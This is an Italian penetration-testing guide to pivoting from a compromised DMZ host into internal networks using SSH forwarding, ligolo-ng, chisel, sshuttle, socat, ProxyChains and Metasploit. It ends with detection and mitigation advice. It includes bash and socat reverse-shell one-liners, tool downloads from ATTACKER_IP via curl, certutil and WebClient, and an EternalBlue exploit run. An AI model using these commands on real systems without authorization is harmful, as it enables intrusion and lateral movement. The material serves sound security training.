guides-resources

Pivoting nel Pentest: Guida Completa con Ligolo-ng, Chisel e SSH

Pivoting nel Pentest: Guida Completa con Ligolo-ng, Chisel e SSH

Guida pratica al pivoting e tunneling con SSH, Ligolo-ng, Chisel, sshuttle e ProxyChains per raggiungere reti interne e configurare double pivot.

  • Pubblicato il 2026-07-16
  • Tempo di lettura: 9 min

Pivoting e Tunneling nel Pentest: dalla Shell alla Rete Interna #

Hai una shell su una macchina. Ma quella macchina è nella DMZ — il server esposto su internet. Il valore vero è nella rete interna: i domain controller, i database, le workstation degli amministratori. Per arrivarci devi fare pivoting: usare la macchina compromessa come trampolino per accedere a reti che non sono direttamente raggiungibili dal tuo attacker machine.

text
[Attacker Machine] → (internet) → [Pivot Machine - DMZ] → (rete interna) → [Target Interno]
                                         ↑
                              qui hai la shell
                              questa macchina vede entrambe le reti

La macchina pivot vede sia internet (raggiungibile da te) che la rete interna (non raggiungibile da te direttamente). Usando la pivot come relay, puoi far arrivare il tuo traffico alla rete interna.

Ambiente testato in questa guida: Kali Linux 2026.1, Ligolo-ng 0.8.3, Chisel 1.10, sshuttle 1.3.2, ProxyChains-NG 4.17, Metasploit 6, pivot Linux Ubuntu 22.04, pivot Windows Server 2019.

Guida correlata: pivoting per la teoria networking. Per il post-exploitation completo: post-exploitation. Per l’enumerazione dopo l’accesso: linux-enumeration, multi-platform-enumeration.


Step 0 — Mappa la Rete Prima di Pivotare #

bash
# Interfacce della macchina pivot — quante reti vede?
ip addr show
# eth0: 10.10.10.5/24   → internet/DMZ (da cui sei entrato)
# eth1: 192.168.1.5/24  → rete interna (quella che vuoi raggiungere)

ip route
# 10.10.10.0/24 via eth0
# 192.168.1.0/24 via eth1  ← subnet interna!

arp -n
cat /proc/net/arp

# Ping sweep manuale (se non hai nmap sulla pivot)
for i in $(seq 1 254); do
  ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "LIVE: 192.168.1.$i" &
done
wait

# Port scan interno con bash puro (se nmap non disponibile)
for host in 192.168.1.10 192.168.1.20; do
  for port in 22 80 443 445 3389 5985; do
    timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && \
      echo "OPEN: $host:$port"
  done
done

# Con nmap dalla pivot (se disponibile)
nmap -sn 192.168.1.0/24
nmap -sV -p 22,80,445,3389 192.168.1.0/24

Metodo 1 — SSH Port Forwarding (Nativo, Zero Tool) #

Se la macchina pivot ha SSH, hai già tutto quello che ti serve.

Local Port Forwarding (-L): Accedi a un Servizio Interno #

bash
ssh -L 8080:192.168.1.10:80 user@PIVOT_IP
# http://localhost:8080 → browser → tunnel SSH → PIVOT → 192.168.1.10:80

ssh -L 8080:192.168.1.10:80 \
    -L 3389:192.168.1.20:3389 \
    -L 5432:192.168.1.30:5432 \
    user@PIVOT_IP

xfreerdp /u:admin /p:password /v:localhost:3389
psql -h localhost -p 5432 -U postgres

Remote Port Forwarding (-R): esporre sulla pivot un servizio dell’attacker #

Il comando va lanciato dall’attacker machine, che apre una sessione SSH verso la pivot — non il contrario.

bash
# Sulla macchina attacker
ssh -N -T -o ExitOnForwardFailure=yes \
  -R 0.0.0.0:9999:127.0.0.1:4444 user@PIVOT_IP

Per impostazione predefinita il remote forwarding si lega solo al loopback della macchina remota: la porta 9999 sarà raggiungibile solo dalla pivot stessa, non dagli host interni. Per permettere agli host interni di collegarsi a PIVOT_IP:9999 serve GatewayPorts yes (o GatewayPorts clientspecified) nel sshd_config della pivot.

bash
# Sul tuo attacker machine: ascolta sulla porta 4444
nc -lvnp 4444

# Sulla macchina interna (che vede la pivot ma non internet):
bash -i >& /dev/tcp/PIVOT_IP/9999 0>&1
# → La shell arriva al tuo nc sulla porta 4444, se GatewayPorts è abilitato

Dynamic Port Forwarding (-D): SOCKS Proxy Completo #

bash
ssh -D 1080 -N user@PIVOT_IP

echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf

proxychains nmap -sT -Pn 192.168.1.0/24
proxychains curl http://192.168.1.10/
proxychains netexec smb 192.168.1.0/24
proxychains ssh admin@192.168.1.20

# IMPORTANTE: usa -sT (TCP connect) — SOCKS non supporta pacchetti raw, quindi -sS non funziona

Metodo 2 — ligolo-ng (Il Migliore per OSEP e Lab Complessi) #

ligolo-ng crea un’interfaccia TUN sul tuo attacker machine usando uno stack di rete userland (Gvisor). Rispetto a chisel/proxychains non serve wrappare ogni tool con proxychains — ma l’agent non inoltra pacchetti raw: ogni pacchetto ricevuto sulla TUN viene tradotto in una normale chiamata connect() eseguita dall’agent sulla pivot. Un nmap -sS lanciato attraverso ligolo-ng arriva quindi alla rete interna come una connessione TCP completa (three-way handshake), non come un SYN scan raw.

bash
nmap --unprivileged -sT -Pn -n -p- 192.168.1.10

Puoi comunque lanciare nmap -sS attraverso ligolo-ng — funziona, dà risultati corretti — ma non va descritto come “SYN scan reale sulla rete interna”.

Setup — scaricare i binari #

Non usare link latest/download diretti: gli asset attuali includono versione, ruolo, OS e architettura nel nome, dentro archivi .tar.gz/.zip. Controlla la pagina release e verifica il checksum.

bash
# Esempio con versione fissata e verificata (adatta alla release corrente)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
tar -xzf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
chmod +x proxy

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
tar -xzf ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
chmod +x agent
bash
# Avvia il proxy sul tuo attacker
./proxy -selfcert -laddr 0.0.0.0:11601
bash
# Sulla macchina pivot: trasferisci e lancia l'agent
curl http://ATTACKER_IP:8000/agent -o /tmp/agent
chmod +x /tmp/agent
/tmp/agent -connect ATTACKER_IP:11601 -ignore-cert

Metodo moderno: autoroute #

Da ligolo-ng 0.8 il comando autoroute individua le subnet viste dall’agent, crea o riusa un’interfaccia, e avvia il tunnel senza passaggi manuali.

text
[Agent : PIVOT_HOSTNAME] >>
session
1
autoroute
# ? Select routes to add: 192.168.1.0/24
# ? Create a new interface or use an existing one? Create a new interface
# ? Start the tunnel? Yes

Verifica poi che tutto sia raggiungibile:

bash
nmap -sS -p- 192.168.1.10
curl http://192.168.1.10/
netexec smb 192.168.1.0/24

Metodo manuale (fallback) #

Usalo quando autoroute non funziona o vuoi controllare esplicitamente interfacce e routing.

bash
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.1.0/24 dev ligolo
text
session
1
start

Double Pivot con ligolo-ng #

Ogni hop deve avere una sessione agent distinta, un tunnel distinto, e un’interfaccia (o gestione autoroute) e una route dedicate — non riusare genericamente la stessa interfaccia ligolo per due subnet diverse, altrimenti crei conflitti di routing.

text
ligolo-pivot1 → 192.168.1.0/24  (interfaccia/route dedicata)
ligolo-pivot2 → 10.10.10.0/24   (interfaccia/route dedicata separata)
text
# Nel prompt ligolo-ng, con sessione Pivot1 attiva:
listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601
bash
# Su Pivot2 (raggiungibile da Pivot1):
/tmp/agent -connect PIVOT1_IP:11602 -ignore-cert
text
session
2
autoroute
# seleziona 10.10.10.0/24, crea una nuova interfaccia dedicata a questo hop

Metodo 3 — chisel (HTTP Tunnel, Bypass Firewall) #

chisel crea tunnel TCP/UDP over HTTP. Ideale quando l’unica porta permessa in uscita è la 80 o la 443.

bash
# Download dalla pagina release ufficiale, verifica sempre la versione corrente
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz && chmod +x chisel_linux_amd64
mv chisel_linux_amd64 chisel

Per un lab puoi usare la configurazione semplice, ma non è quella consigliata per un engagement reale: chisel supporta fingerprint verification, --auth/--authfile e TLS/mTLS, e andrebbero usati.

bash
# Setup semplice (solo lab/didattica)
./chisel server -p 8080 --reverse
./chisel client ATTACKER_IP:8080 R:1080:socks
bash
# Setup con verifica fingerprint (consigliato)
./chisel server -p 8080 --reverse --keyfile chisel-key.pem
# il server stampa il proprio fingerprint all'avvio

./chisel client \
  --fingerprint '<FINGERPRINT_SERVER>' \
  ATTACKER_IP:8080 \
  R:1080:socks
bash
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains curl http://192.168.1.10/

Chisel Local Port Forward #

bash
./chisel server -p 8080 --reverse
./chisel client ATTACKER_IP:8080 R:4433:192.168.1.10:443
curl https://localhost:4433/

Chisel su Windows (pivot Windows) #

powershell
certutil.exe -urlcache -f http://ATTACKER_IP:8000/chisel.exe C:\Windows\Temp\chisel.exe
C:\Windows\Temp\chisel.exe client ATTACKER_IP:8080 R:1080:socks

(New-Object Net.WebClient).DownloadFile("http://ATTACKER_IP:8000/chisel.exe","C:\Temp\chisel.exe")
Start-Process -NoNewWindow "C:\Temp\chisel.exe" -ArgumentList "client ATTACKER_IP:8080 R:1080:socks"

Guida dedicata: chisel.


Metodo 4 — sshuttle (Proxy Trasparente over SSH) #

sshuttle crea un proxy trasparente simile a una VPN per il traffico TCP — non è una VPN layer 3 completa e non inoltra genericamente UDP o ICMP. Il DNS va gestito esplicitamente con --dns. Richiede Python 3.9+ sul sistema remoto.

bash
pip3 install sshuttle
# oppure: apt install sshuttle

sudo sshuttle --dns \
  -r user@PIVOT_IP \
  192.168.1.0/24 \
  -x PIVOT_IP

# Con chiave SSH
sshuttle -r user@PIVOT_IP 192.168.1.0/24 -e "ssh -i /path/to/key" --dns

# Tutte le subnet
sshuttle -r user@PIVOT_IP 0.0.0.0/0 -x PIVOT_IP --dns

# Con password (sshpass)
sshuttle -r user@PIVOT_IP 192.168.1.0/24 -e "sshpass -p 'password' ssh" --dns

Guida dedicata: sshuttle.


Metodo 5 — socat (Relay Semplice, Senza Installazioni) #

bash
socat TCP-LISTEN:8080,fork TCP:192.168.1.10:80
curl http://PIVOT_IP:8080/  # → arriva a 192.168.1.10:80

socat UDP-LISTEN:53,fork UDP:192.168.1.53:53

# Sulla macchina interna:
socat TCP-LISTEN:4444,fork EXEC:'/bin/bash'
# Dalla pivot → relay verso il tuo attacker:
socat TCP:ATTACKER_IP:4444 TCP:192.168.1.10:4444

# Reverse shell attraverso la pivot:
# attacker: nc -lvnp 4444
# pivot: socat TCP:ATTACKER_IP:4444 TCP:192.168.1.10:9999
# interna: socat TCP-LISTEN:9999 EXEC:'/bin/bash'

Guida dedicata: socat.


Metodo 6 — ProxyChains (Configurazione e Uso) #

ProxyChains intercetta le chiamate di rete tramite LD_PRELOAD, quindi funziona principalmente con programmi dinamicamente linkati. Binari statici, daemon, o programmi con meccanismi di rete particolari possono ignorarlo. Supporta solo TCP — non UDP, non ICMP, non pacchetti raw.

bash
cat /etc/proxychains.conf
# Modalità: strict_chain, dynamic_chain, random_chain — dynamic_chain per ambienti instabili

socks5 127.0.0.1 1080    # chisel o SSH -D

proxychains curl http://192.168.1.10/
proxychains ssh user@192.168.1.20
proxychains netexec smb 192.168.1.0/24 -u admin -p password

proxychains nmap -sT -Pn -n --open 192.168.1.0/24
# -sT = obbligatorio, -sS non funziona via SOCKS
# -Pn = disabilita ping (ICMP non passa via SOCKS)
# -n  = no DNS reverse lookup (lento via proxy)
# Nota: script NSE che usano UDP o raw socket possono fallire comunque

proxychains firefox &

Guida dedicata: proxychains.


Metodo 7 — Pivoting con Metasploit #

bash
msfconsole

use post/multi/manage/autoroute
set SESSION 1
set SUBNET 192.168.1.0
set NETMASK 255.255.255.0
run

use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443,445,3389
run

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.20
run

DNS Attraverso il Pivot #

Raggiungere un IP non significa risolvere i nomi interni. Servizi Active Directory, Kerberos e SMB dipendono da hostname/FQDN risolti correttamente — verifica sempre quale DNS server usa la pivot e instrada anche il traffico verso quel resolver.

  • ProxyChains — abilita proxy_dns in /etc/proxychains.conf per far risolvere i nomi attraverso il proxy
  • sshuttle — usa sempre --dns per instradare le query DNS nel tunnel
  • ligolo-ng — aggiungi una route esplicita verso l’IP del DNS server interno (es. il DC), oltre alla subnet target
  • Verifica manuale: dig @DNS_INTERNO host.dominio.local
  • Attenzione a DNS leak: senza instradamento esplicito, le query possono uscire verso il resolver locale invece che verso quello interno
  • Distingui sempre hostname, FQDN e IP quando lavori con SPN/Kerberos — un nome risolto male rompe l’autenticazione anche con la route corretta

Reverse Shell Attraverso la Rete Interna #

Con ligolo-ng #

text
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
bash
# Sul tuo attacker:
nc -lvnp 4444

# Sulla macchina interna (che vede solo la pivot):
bash -i >& /dev/tcp/PIVOT_IP/4444 0>&1

Con socat relay (se non hai ligolo-ng) #

bash
socat TCP-LISTEN:4444,fork TCP:ATTACKER_IP:4444
nc -lvnp 4444
bash -i >& /dev/tcp/PIVOT_IP/4444 0>&1

Tabella Comparativa Tool #

ToolRichiede installazione pivot?TipoMigliore per
SSH -L/-D/-RNo (SSH nativo)Port forward / SOCKSAccesso rapido, 1 subnet
sshuttleNo (solo Python sul pivot)Proxy trasparente TCP-onlySemplicità, multi-subnet
ligolo-ngSì (agent leggero)TUN userland (Gvisor)Lab complessi, multi-pivot, OSEP
chiselHTTP tunnelBypass firewall, porta 80/443
socatSpesso già presenteTCP relaySingle service, no setup
proxychainsNo (wrapper LD_PRELOAD)SOCKS wrapper, solo TCPUsare tool dinamicamente linkati via proxy
Metasploit autorouteNo (già in Meterpreter)Route tableTutto tramite MSF

Troubleshooting #

ProblemaControllo
Subnet non raggiungibileip route get <IP>
Route sovrapposta alla rete locale/VPNip route
Porta del tunnel non in ascoltoss -lntup
Agent non raggiunge il proxytcpdump, firewall ed egress
Nomi interni non risoltidig, /etc/resolv.conf, resolvectl
TUN non creabileprivilegi o capability CAP_NET_ADMIN
ProxyChains ignoratobinario statico o protocollo non TCP
Reverse shell non arrivalistener bindato solo su loopback (vedi GatewayPorts per SSH -R)
Prestazioni scarseMTU, latenza, scansione troppo aggressiva

Workflow Completo: Da Zero a Rete Interna #

text
STEP 1 — Accesso alla pivot
  Shell su PIVOT (RCE, credenziali SSH, web shell)

STEP 2 — Mappa la rete
  ip addr show → quante interfacce? quali subnet?
  ip route → quali reti vede?
  ping sweep → quali host sono attivi nella rete interna?

STEP 3 — Scegli il metodo di pivoting
  Hai SSH con credenziali? → sshuttle (più semplice)
  Lab complesso con più reti? → ligolo-ng (più potente)
  Firewall blocca tutto tranne HTTP/HTTPS? → chisel su porta 80/443
  Accesso limitato, solo bash? → SSH -D + proxychains

STEP 4 — Configura il tunnel e il DNS interno

STEP 5 — Enumera la rete interna
  nmap sulla subnet interna
  netexec smb per Windows
  Cerca servizi vulnerabili

STEP 6 — Attacca i target interni
  Exploit diretto (con ligolo-ng)
  Oppure via proxychains (con SOCKS)
  Ottieni shell su target interno → nuovo pivot?

STEP 7 — Double/Triple pivot se necessario
  Sessione, tunnel e route dedicati per ogni nuovo hop

STEP 8 — Cleanup
  Rimuovi tunnel, route, agent, binari, chiavi temporanee

Checklist #

text
RECONNAISSANCE PRE-PIVOT
☐ ip addr → subnet interne identificate
☐ ip route → reti raggiungibili dalla pivot
☐ arp -n → host già visti nella rete interna
☐ Ping sweep → host attivi identificati

CONFIGURAZIONE TUNNEL
☐ SSH -D + proxychains (se SSH disponibile)
☐ sshuttle --dns (se SSH + Python disponibili)
☐ ligolo-ng agent trasferito e lanciato
☐ autoroute eseguito (o interfaccia/route manuale come fallback)
☐ Route DNS interno aggiunta separatamente dalla subnet target
☐ chisel configurato con fingerprint se firewall blocca tutto tranne HTTP

USO DELLA RETE INTERNA
☐ nmap -sT -Pn via proxychains (o -sS/-unprivileged via ligolo-ng)
☐ netexec smb per enumerazione Windows
☐ Credenziali trovate sulla pivot testate su host interni
☐ Servizi vulnerabili identificati e exploitati

REVERSE SHELL DA RETE INTERNA
☐ Listener sul tuo attacker (nc -lvnp 4444)
☐ Relay configurato: ligolo-ng listener_add o socat relay
☐ GatewayPorts verificato se si usa SSH -R
☐ Reverse shell lanciata dalla macchina interna

DOUBLE PIVOT
☐ Seconda subnet identificata dalla seconda pivot
☐ Sessione, tunnel e route dedicati e separati per il secondo hop
☐ Listener su Pivot1 per connettere Pivot2

CLEANUP
☐ Route rimosse: ip route del SUBNET dev ligolo
☐ Interfaccia TUN rimossa: ip link del ligolo
☐ Processi terminati: pkill -f ligolo/chisel/socat
☐ Listener residui verificati: ss -lntup
☐ Agent rimossi dalle pivot, chiavi/certificati temporanei eliminati
☐ Regole firewall temporanee rimosse
☐ ProxyChains ripristinato alla configurazione originale

Detection #

Pivoting, SOCKS, SSH forwarding e tunnel HTTP/HTTPS rientrano principalmente in:

  • T1572 — Protocol Tunneling
  • T1090.001 — Internal Proxy
  • T1090.003 — Multi-hop Proxy (catene multiple)

Indicatori da correlare:

  • Connessioni TLS o SSH in uscita anomalamente lunghe
  • Processi agent, chisel, socat, ssh con argomenti di forwarding
  • Listener inattesi su porte alte
  • Un host DMZ che inizia a contattare molti sistemi interni fuori dal suo baseline
  • Traffico interno proveniente da un host che normalmente non agisce da proxy
  • Molti flussi multiplexati dentro una singola connessione
  • Nuovi binari nelle directory temporanee

Mitigazione #

  • Segmentazione tra DMZ, server, workstation e reti amministrative
  • Egress filtering verso destinazioni e porte non necessarie
  • Application allowlisting
  • Monitoraggio dei tunnel persistenti
  • Restrizioni sull’SSH forwarding lato server:
text
DisableForwarding
AllowTcpForwarding no
PermitOpen none
GatewayPorts no
  • Blocco dei listener non autorizzati tramite host firewall

FAQ #

Qual è la differenza tra ligolo-ng e chisel? ligolo-ng crea un’interfaccia TUN userland (Gvisor) — puoi usare qualsiasi tool senza proxychains, ma l’agent traduce comunque ogni pacchetto in una connect() reale, quindi non fa raw SYN scan sulla rete interna. chisel crea un proxy SOCKS — ogni connessione deve passare da proxychains, niente -sS, più lento. ligolo-ng è superiore per lab complessi; chisel è più semplice e funziona su HTTP/HTTPS per bypassare firewall.

proxychains rallenta le scansioni nmap. Come faccio? Con ligolo-ng non hai questo problema. Con proxychains: usa -sT -Pn -n --min-rate 500. Alternativa: trasferisci nmap sulla pivot e scansiona dall’interno senza proxy.

Come trasferisco ligolo-ng o chisel sulla pivot se non ho accesso diretto? python3 -m http.server 8000 sul tuo attacker, poi curl http://ATTACKER_IP:8000/agent -o /tmp/agent sulla pivot. Se curl/wget non ci sono: base64 encoding, /dev/tcp con nc, o SCP se hai SSH.

La macchina pivot non ha Python (richiesto da sshuttle). Cosa uso? Se ha SSH: ssh -D + proxychains. Se puoi caricare binari: ligolo-ng o chisel. Se solo bash: relay manuale via /dev/tcp o socat se presente.

In un pentest reale devo documentare i tunnel? Sì. Documenta ogni tunnel (tool, porte, subnet) per il report, e in cleanup rimuovi tutti i binari caricati, le route e i processi in background. Verifica con ps aux | grep -E 'chisel|ligolo|socat|sshuttle' e ss -lntup.


Risorse #

#pivoting #tunneling #SSH port forwarding #ProxyChains

lascia un messaggio

Non sono un robot